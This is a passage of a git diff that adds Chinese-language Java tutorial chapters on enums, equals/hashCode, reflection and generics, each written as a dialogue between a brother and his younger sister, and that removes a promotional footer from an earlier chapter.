+“写入流中的对象就是对原始对象的拷贝。需要注意的是,每个要序列化的类都要实现 Serializable 接口,该接口和 Cloneable 接口类似,都是标记型接口。”
来看例子。
@@ -420,13 +415,3 @@ writer2:Writer@544fe44c age=18, name='二哥', book=Book@31610302 bookName='
“好的,二哥,你先去休息吧,让我来琢磨一会,总结一下浅拷贝和深拷贝之间的差异。”
“嗯嗯。”
-
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/basic-extra-meal/enum.md b/docs/basic-extra-meal/enum.md
new file mode 100644
index 0000000000..d2e59ea6bd
--- /dev/null
+++ b/docs/basic-extra-meal/enum.md
@@ -0,0 +1,289 @@
+
+
+“今天我们来学习枚举吧,三妹!”我说,“同学让你去她家玩了两天,感觉怎么样呀?”
+
+“心情放松了不少。”三妹说,“可以开始学 Java 了,二哥。”
+
+“OK。”
+
+“枚举(enum),是 Java 1.5 时引入的关键字,它表示一种特殊类型的类,继承自 java.lang.Enum。”
+
+“我们来新建一个枚举 PlayerType。”
+
+```java
+public enum PlayerType {
+ TENNIS,
+ FOOTBALL,
+ BASKETBALL
+}
+```
+
+“二哥,我没看到有继承关系呀!”
+
+“别着急,看一下反编译后的字节码,你就明白了。”
+
+```java
+public final class PlayerType extends Enum
+{
+
+ public static PlayerType[] values()
+ {
+ return (PlayerType[])$VALUES.clone();
+ }
+
+ public static PlayerType valueOf(String name)
+ {
+ return (PlayerType)Enum.valueOf(com/cmower/baeldung/enum1/PlayerType, name);
+ }
+
+ private PlayerType(String s, int i)
+ {
+ super(s, i);
+ }
+
+ public static final PlayerType TENNIS;
+ public static final PlayerType FOOTBALL;
+ public static final PlayerType BASKETBALL;
+ private static final PlayerType $VALUES[];
+
+ static
+ {
+ TENNIS = new PlayerType("TENNIS", 0);
+ FOOTBALL = new PlayerType("FOOTBALL", 1);
+ BASKETBALL = new PlayerType("BASKETBALL", 2);
+ $VALUES = (new PlayerType[] {
+ TENNIS, FOOTBALL, BASKETBALL
+ });
+ }
+}
+```
+
+“看到没?Java 编译器帮我们做了很多隐式的工作,不然手写一个枚举就没那么省心省事了。”
+
+- 要继承 Enum 类;
+- 要写构造方法;
+- 要声明静态变量和数组;
+- 要用 static 块来初始化静态变量和数组;
+- 要提供静态方法,比如说 `values()` 和 `valueOf(String name)`。
+
+“确实,作为开发者,我们的代码量减少了,枚举看起来简洁明了。”三妹说。
+
+“既然枚举是一种特殊的类,那它其实是可以定义在一个类的内部的,这样它的作用域就可以限定于这个外部类中使用。”我说。
+
+```java
+public class Player {
+ private PlayerType type;
+ public enum PlayerType {
+ TENNIS,
+ FOOTBALL,
+ BASKETBALL
+ }
+
+ public boolean isBasketballPlayer() {
+ return getType() == PlayerType.BASKETBALL;
+ }
+
+ public PlayerType getType() {
+ return type;
+ }
+
+ public void setType(PlayerType type) {
+ this.type = type;
+ }
+}
+```
+
+PlayerType 就相当于 Player 的内部类。
+
+由于枚举是 final 的,所以可以确保在 Java 虚拟机中仅有一个常量对象,基于这个原因,我们可以使用“==”运算符来比较两个枚举是否相等,参照 `isBasketballPlayer()` 方法。
+
+“那为什么不使用 `equals()` 方法判断呢?”三妹问。
+
+```java
+if(player.getType().equals(Player.PlayerType.BASKETBALL)){};
+```
+
+“我来给你解释下。”
+
+“==”运算符比较的时候,如果两个对象都为 null,并不会发生 `NullPointerException`,而 `equals()` 方法则会。
+
+另外, “==”运算符会在编译时进行检查,如果两侧的类型不匹配,会提示错误,而 `equals()` 方法则不会。
+
+
+
+“枚举还可用于 switch 语句,和基本数据类型的用法一致。”我说。
+
+```java
+switch (playerType) {
+ case TENNIS:
+ return "网球运动员费德勒";
+ case FOOTBALL:
+ return "足球运动员C罗";
+ case BASKETBALL:
+ return "篮球运动员詹姆斯";
+ case UNKNOWN:
+ throw new IllegalArgumentException("未知");
+ default:
+ throw new IllegalArgumentException(
+ "运动员类型: " + playerType);
+
+ }
+```
+
+“如果枚举中需要包含更多信息的话,可以为其添加一些字段,比如下面示例中的 name,此时需要为枚举添加一个带参的构造方法,这样就可以在定义枚举时添加对应的名称了。”我继续说。
+
+```java
+public enum PlayerType {
+ TENNIS("网球"),
+ FOOTBALL("足球"),
+ BASKETBALL("篮球");
+
+ private String name;
+
+ PlayerType(String name) {
+ this.name = name;
+ }
+}
+```
+
+“get 了吧,三妹?”
+
+“嗯,比较好理解。”
+
+“那接下来,我就来说点不一样的。”
+
+“来吧,我准备好了。”
+
+“EnumSet 是一个专门针对枚举类型的 Set 接口(后面会讲)的实现类,它是处理枚举类型数据的一把利器,非常高效。”我说,“从名字上就可以看得出,EnumSet 不仅和 Set 有关系,和枚举也有关系。”
+
+“因为 EnumSet 是一个抽象类,所以创建 EnumSet 时不能使用 new 关键字。不过,EnumSet 提供了很多有用的静态工厂方法。”
+
+
+
+
+“来看下面这个例子,我们使用 `noneOf()` 静态工厂方法创建了一个空的 PlayerType 类型的 EnumSet;使用 `allOf()` 静态工厂方法创建了一个包含所有 PlayerType 类型的 EnumSet。”
+
+```java
+public class EnumSetTest {
+ public enum PlayerType {
+ TENNIS,
+ FOOTBALL,
+ BASKETBALL
+ }
+
+ public static void main(String[] args) {
+ EnumSet enumSetNone = EnumSet.noneOf(PlayerType.class);
+ System.out.println(enumSetNone);
+
+ EnumSet enumSetAll = EnumSet.allOf(PlayerType.class);
+ System.out.println(enumSetAll);
+ }
+}
+```
+
+“来看一下输出结果。”
+
+```java
+[]
+[TENNIS, FOOTBALL, BASKETBALL]
+```
+
+有了 EnumSet 后,就可以使用 Set 的一些方法了,见下图。
+
+
+
+“除了 EnumSet,还有 EnumMap,是一个专门针对枚举类型的 Map 接口的实现类,它可以将枚举常量作为键来使用。EnumMap 的效率比 HashMap 还要高,可以直接通过数组下标(枚举的 ordinal 值)访问到元素。”
+
+“和 EnumSet 不同,EnumMap 不是一个抽象类,所以创建 EnumMap 时可以使用 new 关键字。”
+
+```java
+EnumMap enumMap = new EnumMap<>(PlayerType.class);
+```
+
+有了 EnumMap 对象后就可以使用 Map 的一些方法了,见下图。
+
+
+
+和 HashMap(后面会讲)的使用方法大致相同,来看下面的例子。
+
+```java
+EnumMap enumMap = new EnumMap<>(PlayerType.class);
+enumMap.put(PlayerType.BASKETBALL,"篮球运动员");
+enumMap.put(PlayerType.FOOTBALL,"足球运动员");
+enumMap.put(PlayerType.TENNIS,"网球运动员");
+System.out.println(enumMap);
+
+System.out.println(enumMap.get(PlayerType.BASKETBALL));
+System.out.println(enumMap.containsKey(PlayerType.BASKETBALL));
+System.out.println(enumMap.remove(PlayerType.BASKETBALL));
+```
+
+“来看一下输出结果。”
+
+```
+{TENNIS=网球运动员, FOOTBALL=足球运动员, BASKETBALL=篮球运动员}
+篮球运动员
+true
+篮球运动员
+```
+
+“除了以上这些,《Effective Java》这本书里还提到了一点,如果要实现单例的话,最好使用枚举的方式。”我说。
+
+“等等二哥,单例是什么?”三妹没等我往下说,就连忙问道。
+
+“单例(Singleton)用来保证一个类仅有一个对象,并提供一个访问它的全局访问点,在一个进程中。因为这个类只有一个对象,所以就不能再使用 `new` 关键字来创建新的对象了。”
+
+“Java 标准库有一些类就是单例,比如说 Runtime 这个类。”
+
+```java
+Runtime runtime = Runtime.getRuntime();
+```
+
+“Runtime 类可以用来获取 Java 程序运行时的环境。”
+
+“关于单例,懂了些吧?”我问三妹。
+
+“噢噢噢噢。”三妹点了点头。
+
+“通常情况下,实现单例并非易事,来看下面这种写法。”
+
+```java
+public class Singleton {
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+}
+```
+
+“要用到 volatile、synchronized 关键字等等,但枚举的出现,让代码量减少到极致。”
+
+```java
+public enum EasySingleton{
+ INSTANCE;
+}
+```
+
+“就这?”三妹睁大了眼睛。
+
+“对啊,枚举默认实现了 Serializable 接口,因此 Java 虚拟机可以保证该类为单例,这与传统的实现方式不大相同。传统方式中,我们必须确保单例在反序列化期间不能创建任何新实例。”我说。
+
+“好了,关于枚举就讲这么多吧,三妹,你把这些代码都手敲一遍吧!”
+
+“好勒,这就安排。二哥,你去休息吧。”
+
+“嗯嗯。”讲了这么多,必须跑去抽烟机那里安排一根华子了。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/basic-extra-meal/equals-hashcode.md b/docs/basic-extra-meal/equals-hashcode.md
new file mode 100644
index 0000000000..cb718fe418
--- /dev/null
+++ b/docs/basic-extra-meal/equals-hashcode.md
@@ -0,0 +1,231 @@
+
+
+“二哥,我在读《Effective Java》 的时候,第 11 条规约说重写 equals 的时候必须要重写 hashCode 方法,这是为什么呀?”三妹单刀直入地问。
+
+“三妹啊,这个问题问得非常好,因为它也是面试中经常考的一个知识点。今天哥就带你来梳理一下。”我说。
+
+Java 是一门面向对象的编程语言,所有的类都会默认继承自 Object 类,而 Object 的中文意思就是“对象”。
+
+Object 类中有这么两个方法:
+
+```java
+public native int hashCode();
+
+public boolean equals(Object obj) {
+ return (this == obj);
+}
+```
+1)hashCode 方法
+
+这是一个本地方法,用来返回对象的哈希值(一个整数)。在 Java 程序执行期间,对同一个对象多次调用该方法必须返回相同的哈希值。
+
+2)equals 方法
+
+对于任何非空引用 x 和 y,当且仅当 x 和 y 引用的是同一个对象时,equals 方法才返回 true。
+
+“二哥,看起来两个方法之间没有任何关联啊?”三妹质疑道。
+
+“单从这两段解释上来看,的确是这样的。”我解释道,“但两个方法的 doc 文档中还有这样两条信息。”
+
+第一,如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同——来自 hashCode 方法的 doc 文档。
+
+第二,每当重写 equals 方法时,hashCode 方法也需要重写,以便维护上一条规约。
+
+“哦,这样讲的话,两个方法确实关联上了,但究竟是为什么呢?”三妹抛出了终极一问。
+
+“hashCode 方法的作用是用来获取哈希值,而该哈希值的作用是用来确定对象在哈希表中的索引位置。”我说。
+
+哈希表的典型代表就是 HashMap,它存储的是键值对,能根据键快速地检索出对应的值。
+
+```java
+public V get(Object key) {
+ HashMap.Node e;
+ return (e = getNode(hash(key), key)) == null ? null : e.value;
+}
+```
+
+这是 HashMap 的 get 方法,通过键来获取值的方法。它会调用 getNode 方法:
+
+```java
+final HashMap.Node getNode(int hash, Object key) {
+ HashMap.Node[] tab; HashMap.Node first, e; int n; K k;
+ if ((tab = table) != null && (n = tab.length) > 0 &&
+ (first = tab[(n - 1) & hash]) != null) {
+ if (first.hash == hash && // always check first node
+ ((k = first.key) == key || (key != null && key.equals(k))))
+ return first;
+ if ((e = first.next) != null) {
+ if (first instanceof HashMap.TreeNode)
+ return ((HashMap.TreeNode)first).getTreeNode(hash, key);
+ do {
+ if (e.hash == hash &&
+ ((k = e.key) == key || (key != null && key.equals(k))))
+ return e;
+ } while ((e = e.next) != null);
+ }
+ }
+ return null;
+}
+```
+
+通常情况(没有发生哈希冲突)下,`first = tab[(n - 1) & hash]` 就是键对应的值。**按照时间复杂度来说的话,可表示为 O(1)**。
+
+如果发生哈希冲突,也就是 `if ((e = first.next) != null) {}` 子句中,可以看到如果节点不是红黑树的时候,会通过 do-while 循环语句判断键是否 equals 返回对应值的。**按照时间复杂度来说的话,可表示为 O(n)**。
+
+HashMap 是通过拉链法来解决哈希冲突的,也就是如果发生哈希冲突,同一个键的坑位会放好多个值,超过 8 个值后改为红黑树,为了提高查询的效率。
+
+显然,从时间复杂度上来看的话 O(n) 比 O(1) 的性能要差,这也正是哈希表的价值所在。
+
+“O(n) 和 O(1) 是什么呀?”三妹有些不解。
+
+“这是时间复杂度的一种表示方法,随后二哥专门给你讲一下。简单说一下 n 和 1 的意思,很显然,n 和 1 都代表的是代码执行的次数,假如数据规模为 n,n 就代表需要执行 n 次,1 就代表只需要执行一次。”我解释道。
+
+“三妹,你想一下,如果没有哈希表,但又需要这样一个数据结构,它里面存放的数据是不允许重复的,该怎么办呢?”我问。
+
+“要不使用 equals 方法进行逐个比较?”三妹有些不太确定。
+
+“这种方法当然是可行的,就像 `if ((e = first.next) != null) {}` 子句中那样,但如果数据量特别特别大,性能就会很差,最好的解决方案还是 HashMap。”
+
+HashMap 本质上是通过数组实现的,当我们要从 HashMap 中获取某个值时,实际上是要获取数组中某个位置的元素,而位置是通过键来确定的。
+
+```java
+public V put(K key, V value) {
+ return putVal(hash(key), key, value, false, true);
+}
+```
+
+这是 HashMap 的 put 方法,会将键值对放入到数组当中。它会调用 putVal 方法:
+
+```java
+final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
+ boolean evict) {
+ HashMap.Node[] tab; HashMap.Node p; int n, i;
+ if ((tab = table) == null || (n = tab.length) == 0)
+ n = (tab = resize()).length;
+ if ((p = tab[i = (n - 1) & hash]) == null)
+ tab[i] = newNode(hash, key, value, null);
+ else {
+ // 拉链
+ }
+ return null;
+}
+```
+
+通常情况下,`p = tab[i = (n - 1) & hash])` 就是键对应的值。而数组的索引 `(n - 1) & hash` 正是基于 hashCode 方法计算得到的。
+
+```java
+static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+“那二哥,你好像还是没有说为什么重写 equals 方法的时候要重写 hashCode 方法呀?”三妹忍不住了。
+
+“来看下面这段代码。”我说。
+
+```java
+public class Test {
+ public static void main(String[] args) {
+ Student s1 = new Student(18, "张三");
+ Map scores = new HashMap<>();
+ scores.put(s1, 98);
+
+ Student s2 = new Student(18, "张三");
+ System.out.println(scores.get(s2));
+ }
+}
+ class Student {
+ private int age;
+ private String name;
+
+ public Student(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ Student student = (Student) o;
+ return age == student.age &&
+ Objects.equals(name, student.name);
+ }
+ }
+```
+
+我们重写了 Student 类的 equals 方法,如果两个学生的年纪和姓名相同,我们就认为是同一个学生,虽然很离谱,但我们就是这么草率。
+
+在 main 方法中,18 岁的张三考试得了 98 分,很不错的成绩,我们把张三和他的成绩放到 HashMap 中,然后准备取出:
+
+```
+null
+```
+
+“二哥,怎么输出了 null,而不是预期当中的 98 呢?”三妹感到很不可思议。
+
+“原因就在于重写 equals 方法的时候没有重写 hashCode 方法。”我回答道,“equals 方法虽然认定名字和年纪相同就是同一个学生,但它们本质上是两个对象,hashCode 并不相同。”
+
+
+
+“那怎么重写 hashCode 方法呢?”三妹问。
+
+“可以直接调用 Objects 类的 hash 方法。”我回答。
+
+```java
+ @Override
+ public int hashCode() {
+ return Objects.hash(age, name);
+ }
+```
+
+Objects 类的 hash 方法可以针对不同数量的参数生成新的哈希值,hash 方法调用的是 Arrays 类的 hashCode 方法,该方法源码如下:
+
+```java
+public static int hashCode(Object a[]) {
+ if (a == null)
+ return 0;
+
+ int result = 1;
+
+ for (Object element : a)
+ result = 31 * result + (element == null ? 0 : element.hashCode());
+
+ return result;
+}
+```
+
+第一次循环:
+
+```
+result = 31*1 + Integer(18).hashCode();
+```
+
+第二次循环:
+
+```
+result = (31*1 + Integer(18).hashCode()) * 31 + String("张三").hashCode();
+```
+
+针对姓名年纪不同的对象,这样计算后的哈希值很难很难很难重复的;针对姓名年纪相同的对象,哈希值保持一致。
+
+再次执行 main 方法,结果如下所示:
+
+```
+98
+```
+
+因为此时 s1 和 s2 对象的哈希值都为 776408。
+
+
+
+
+“每当重写 equals 方法时,hashCode 方法也需要重写,原因就是为了保证:如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同。”我点题了。
+
+“OK,get 了。”三妹开心地点了点头,看得出来,今天学到了不少。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
+
diff --git a/docs/basic-extra-meal/fanshe.md b/docs/basic-extra-meal/fanshe.md
new file mode 100644
index 0000000000..49f4cfd60f
--- /dev/null
+++ b/docs/basic-extra-meal/fanshe.md
@@ -0,0 +1,321 @@
+
+
+“二哥,什么是反射呀?”三妹开门见山地问。
+
+“要想知道什么是反射,就需要先来了解什么是‘正射’。”我笑着对三妹说,“一般情况下,我们在使用某个类之前已经确定它到底是个什么类了,拿到手就直接可以使用 `new` 关键字来调用构造方法进行初始化,之后使用这个类的对象来进行操作。”
+
+```java
+Writer writer = new Writer();
+writer.setName("沉默王二");
+```
+
+像上面这个例子,就可以理解为“正射”。而反射就意味着一开始我们不知道要初始化的类到底是什么,也就没法直接使用 `new` 关键字创建对象了。
+
+我们只知道这个类的一些基本信息,就好像我们看电影的时候,为了抓住一个犯罪嫌疑人,警察就会问一些目击证人,根据这些证人提供的信息,找专家把犯罪嫌疑人的样貌给画出来——这个过程,就可以称之为**反射**。
+
+```java
+Class clazz = Class.forName("com.itwanger.s39.Writer");
+Method method = clazz.getMethod("setName", String.class);
+Constructor constructor = clazz.getConstructor();
+Object object = constructor.newInstance();
+method.invoke(object,"沉默王二");
+```
+
+像上面这个例子,就可以理解为“反射”。
+
+“反射的写法比正射复杂得多啊!”三妹感慨地说。
+
+“是的,反射的成本是要比正射的高得多。”我说,“反射的缺点主要有两个。”
+
+- **破坏封装**:由于反射允许访问私有字段和私有方法,所以可能会破坏封装而导致安全问题。
+- **性能开销**:由于反射涉及到动态解析,因此无法执行 Java 虚拟机优化,再加上反射的写法的确要复杂得多,所以性能要比“正射”差很多,在一些性能敏感的程序中应该避免使用反射。
+
+“那反射有哪些好处呢?”三妹问。
+
+反射的主要应用场景有:
+
+- **开发通用框架**:像 Spring,为了保持通用性,通过配置文件来加载不同的对象,调用不同的方法。
+- **动态代理**:在面向切面编程中,需要拦截特定的方法,就会选择动态代理的方式,而动态代理的底层技术就是反射。
+- **注解**:注解本身只是起到一个标记符的作用,它需要利用发射机制,根据标记符去执行特定的行为。
+
+“好了,来看一下完整的例子吧。”我对三妹说。
+
+Writer 类,有两个字段,然后还有对应的 getter/setter。
+
+```java
+public class Writer {
+ private int age;
+ private String name;
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
+```
+
+测试类:
+
+```java
+public class ReflectionDemo1 {
+ public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
+ Writer writer = new Writer();
+ writer.setName("沉默王二");
+ System.out.println(writer.getName());
+
+ Class clazz = Class.forName("com.itwanger.s39.Writer");
+ Constructor constructor = clazz.getConstructor();
+ Object object = constructor.newInstance();
+
+ Method setNameMethod = clazz.getMethod("setName", String.class);
+ setNameMethod.invoke(object, "沉默王二");
+ Method getNameMethod = clazz.getMethod("getName");
+ System.out.println(getNameMethod.invoke(object));
+ }
+}
+```
+
+来看一下输出结果:
+
+```
+沉默王二
+沉默王二
+```
+
+只不过,反射的过程略显曲折了一些。
+
+第一步,获取反射类的 Class 对象:
+
+```java
+Class clazz = Class.forName("com.itwanger.s39.Writer");
+```
+
+第二步,通过 Class 对象获取构造方法 Constructor 对象:
+
+```java
+Constructor constructor = clazz.getConstructor();
+```
+
+第三步,通过 Constructor 对象初始化反射类对象:
+
+```java
+Object object = constructor.newInstance();
+```
+
+第四步,获取要调用的方法的 Method 对象:
+
+```java
+Method setNameMethod = clazz.getMethod("setName", String.class);
+Method getNameMethod = clazz.getMethod("getName");
+```
+
+第五步,通过 `invoke()` 方法执行:
+
+```java
+setNameMethod.invoke(object, "沉默王二");
+getNameMethod.invoke(object)
+```
+
+“三妹,你看,经过这五个步骤,基本上就掌握了反射的使用方法。”我说。
+
+“好像反射也没什么复杂的啊!”三妹说。
+
+我先对三妹点点头,然后说:“是的,掌握反射的基本使用方法确实不难,但要理解整个反射机制还是需要花一点时间去了解一下 Java 虚拟机的类加载机制的。”
+
+要想使用反射,首先需要获得反射类的 Class 对象,每一个类,不管它最终生成了多少个对象,这些对象只会对应一个 Class 对象,这个 Class 对象是由 Java 虚拟机生成的,由它来获悉整个类的结构信息。
+
+也就是说,`java.lang.Class` 是所有反射 API 的入口。
+
+而方法的反射调用,最终是由 Method 对象的 `invoke()` 方法完成的,来看一下源码(JDK 8 环境下)。
+
+```java
+@CallerSensitive
+public Object invoke(Object obj, Object... args)
+ throws IllegalAccessException, IllegalArgumentException,
+ InvocationTargetException
+{
+ if (!override) {
+ if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
+ Class> caller = Reflection.getCallerClass();
+ checkAccess(caller, clazz, obj, modifiers);
+ }
+ }
+ MethodAccessor ma = methodAccessor; // read volatile
+ if (ma == null) {
+ ma = acquireMethodAccessor();
+ }
+ return ma.invoke(obj, args);
+}
+```
+
+两个嵌套的 if 语句是用来进行权限检查的。
+
+`invoke()` 方法实际上是委派给 MethodAccessor 接口来完成的。
+
+
+
+MethodAccessor 接口有三个实现类,其中的 MethodAccessorImpl 是一个抽象类,另外两个具体的实现类继承了这个抽象类。
+
+
+
+- NativeMethodAccessorImpl:通过本地方法来实现反射调用;
+- DelegatingMethodAccessorImpl:通过委派模式来实现反射调用;
+
+通过 debug 的方式进入 `invoke()` 方法后,可以看到第一次反射调用会生成一个委派实现 DelegatingMethodAccessorImpl,它在生成的时候会传递一个本地实现 NativeMethodAccessorImpl。
+
+
+
+也就是说,`invoke()` 方法在执行的时候,会先调用 DelegatingMethodAccessorImpl,然后调用 NativeMethodAccessorImpl,最后再调用实际的方法。
+
+“为什么不直接调用本地实现呢?”三妹问。
+
+“之所以采用委派实现,是为了能够在本地实现和动态实现之间切换。动态实现是另外一种反射调用机制,它是通过生成字节码的形式来实现的。如果反射调用的次数比较多,动态实现的效率就会更高,因为本地实现需要经过 Java 到 C/C++ 再到 Java 之间的切换过程,而动态实现不需要;但如果反射调用的次数比较少,反而本地实现更快一些。”我说。
+
+“那临界点是多少呢?”三妹问。
+
+“默认是 15 次。”我说,“可以通过 `-Dsun.reflect.inflationThreshold` 参数类调整。”
+
+来看下面这个例子。
+
+```java
+Method setAgeMethod = clazz.getMethod("setAge", int.class);
+for (int i = 0;i < 20; i++) {
+ setAgeMethod.invoke(object, 18);
+}
+```
+
+在 `invoke()` 方法处加断点进入 debug 模式,当 i = 15 的时候,也就是第 16 次执行的时候,会进入到 if 条件分支中,改变 DelegatingMethodAccessorImpl 的委派模式 delegate 为 `(MethodAccessorImpl)(new MethodAccessorGenerator()).generateMethod()`,而之前的委派模式 delegate 为 NativeMethodAccessorImpl。
+
+
+
+“这下明白了吧?三妹。”我说,“接下来,我们再来熟悉一下反射当中常用的 API。”
+
+**1)获取反射类的 Class 对象**
+
+`Class.forName()`,参数为反射类的完全限定名。
+
+```java
+Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3");
+System.out.println(c1.getCanonicalName());
+
+Class c2 = Class.forName("[D");
+System.out.println(c2.getCanonicalName());
+
+Class c3 = Class.forName("[[Ljava.lang.String;");
+System.out.println(c3.getCanonicalName());
+```
+
+来看一下输出结果:
+
+```
+com.itwanger.s39.ReflectionDemo3
+double[]
+java.lang.String[][]
+```
+
+类名 + `.class`,只适合在编译前就知道操作的 Class。。
+
+```java
+Class c1 = ReflectionDemo3.class;
+System.out.println(c1.getCanonicalName());
+
+Class c2 = String.class;
+System.out.println(c2.getCanonicalName());
+
+Class c3 = int[][][].class;
+System.out.println(c3.getCanonicalName());
+```
+
+来看一下输出结果:
+
+```java
+com.itwanger.s39.ReflectionDemo3
+java.lang.String
+int[][][]
+```
+
+**2)创建反射类的对象**
+
+通过反射来创建对象的方式有两种:
+
+- 用 Class 对象的 `newInstance()` 方法。
+- 用 Constructor 对象的 `newInstance()` 方法。
+
+```java
+Class c1 = Writer.class;
+Writer writer = (Writer) c1.newInstance();
+
+Class c2 = Class.forName("com.itwanger.s39.Writer");
+Constructor constructor = c2.getConstructor();
+Object object = constructor.newInstance();
+```
+
+**3)获取构造方法**
+
+Class 对象提供了以下方法来获取构造方法 Constructor 对象:
+
+- `getConstructor()`:返回反射类的特定 public 构造方法,可以传递参数,参数为构造方法参数对应 Class 对象;缺省的时候返回默认构造方法。
+- `getDeclaredConstructor()`:返回反射类的特定构造方法,不限定于 public 的。
+- `getConstructors()`:返回类的所有 public 构造方法。
+- `getDeclaredConstructors()`:返回类的所有构造方法,不限定于 public 的。
+
+```java
+Class c2 = Class.forName("com.itwanger.s39.Writer");
+Constructor constructor = c2.getConstructor();
+
+Constructor[] constructors1 = String.class.getDeclaredConstructors();
+for (Constructor c : constructors1) {
+ System.out.println(c);
+}
+```
+
+**4)获取字段**
+
+大体上和获取构造方法类似,把关键字 Constructor 换成 Field 即可。
+
+```java
+Method setNameMethod = clazz.getMethod("setName", String.class);
+Method getNameMethod = clazz.getMethod("getName");
+```
+
+**5)获取方法**
+
+大体上和获取构造方法类似,把关键字 Constructor 换成 Method 即可。
+
+```java
+Method[] methods1 = System.class.getDeclaredMethods();
+Method[] methods2 = System.class.getMethods();
+```
+
+“注意,三妹,如果你想反射访问私有字段和(构造)方法的话,需要使用 `Constructor/Field/Method.setAccessible(true)` 来绕开 Java 语言的访问限制。”我说。
+
+“好的,二哥。还有资料可以参考吗?”三妹问。
+
+“有的,有两篇文章写得非常不错,你在学习反射的时候可以作为参考。”我说。
+
+第一篇:深入理解 Java 反射和动态代理
+
+>链接:https://dunwu.github.io/javacore/basics/java-reflection.html#_1-%E5%8F%8D%E5%B0%84%E7%AE%80%E4%BB%8B
+
+第二篇:大白话说Java反射:入门、使用、原理:
+
+>链接:https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html
+
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
+
diff --git a/docs/basic-extra-meal/generic.md b/docs/basic-extra-meal/generic.md
new file mode 100644
index 0000000000..020f134e1f
--- /dev/null
+++ b/docs/basic-extra-meal/generic.md
@@ -0,0 +1,458 @@
+
+
+“二哥,为什么要设计泛型啊?”三妹开门见山地问。
+
+“三妹啊,听哥慢慢给你讲啊。”我说。
+
+Java 在 1.5 时增加了泛型机制,据说专家们为此花费了 5 年左右的时间(听起来很不容易)。有了泛型之后,尤其是对集合类的使用,就变得更规范了。
+
+看下面这段简单的代码。
+
+```java
+ArrayList list = new ArrayList();
+list.add("沉默王二");
+String str = list.get(0);
+```
+
+“三妹,你能想象到在没有泛型之前该怎么办吗?”
+
+“嗯,想不到,还是二哥你说吧。”
+
+嗯,我们可以使用 Object 数组来设计 `Arraylist` 类。
+
+```java
+class Arraylist {
+ private Object[] objs;
+ private int i = 0;
+ public void add(Object obj) {
+ objs[i++] = obj;
+ }
+
+ public Object get(int i) {
+ return objs[i];
+ }
+}
+```
+
+然后,我们向 `Arraylist` 中存取数据。
+
+```java
+Arraylist list = new Arraylist();
+list.add("沉默王二");
+list.add(new Date());
+String str = (String)list.get(0);
+```
+
+“三妹,你有没有发现这两个问题?”
+
+- Arraylist 可以存放任何类型的数据(既可以存字符串,也可以混入日期),因为所有类都继承自 Object 类。
+- 从 Arraylist 取出数据的时候需要强制类型转换,因为编译器并不能确定你取的是字符串还是日期。
+
+“嗯嗯,是的呢。”三妹说。
+
+对比一下,你就能明显地感受到泛型的优秀之处:使用**类型参数**解决了元素的不确定性——参数类型为 String 的集合中是不允许存放其他类型元素的,取出数据的时候也不需要强制类型转换了。
+
+“二哥,那怎么才能设计一个泛型呢?”
+
+“三妹啊,你一个小白只要会用泛型就行了,还想设计泛型啊?!不过,既然你想了解,那么哥义不容辞。”
+
+
+
+首先,我们来按照泛型的标准重新设计一下 `Arraylist` 类。
+
+```java
+class Arraylist {
+ private Object[] elementData;
+ private int size = 0;
+
+ public Arraylist(int initialCapacity) {
+ this.elementData = new Object[initialCapacity];
+ }
+
+ public boolean add(E e) {
+ elementData[size++] = e;
+ return true;
+ }
+
+ E elementData(int index) {
+ return (E) elementData[index];
+ }
+}
+```
+
+一个泛型类就是具有一个或多个类型变量的类。Arraylist 类引入的类型变量为 E(Element,元素的首字母),使用尖括号 `<>` 括起来,放在类名的后面。
+
+然后,我们可以用具体的类型(比如字符串)替换类型变量来实例化泛型类。
+
+```java
+Arraylist list = new Arraylist();
+list.add("沉默王三");
+String str = list.get(0);
+```
+
+Date 类型也可以的。
+
+```java
+Arraylist list = new Arraylist();
+list.add(new Date());
+Date date = list.get(0);
+```
+
+其次,我们还可以在一个非泛型的类(或者泛型类)中定义泛型方法。
+
+```java
+class Arraylist {
+ public T[] toArray(T[] a) {
+ return (T[]) Arrays.copyOf(elementData, size, a.getClass());
+ }
+}
+```
+
+不过,说实话,泛型方法的定义看起来略显晦涩。来一副图吧(注意:方法返回类型和方法参数类型至少需要一个)。
+
+
+
+现在,我们来调用一下泛型方法。
+
+```java
+Arraylist list = new Arraylist<>(4);
+list.add("沉");
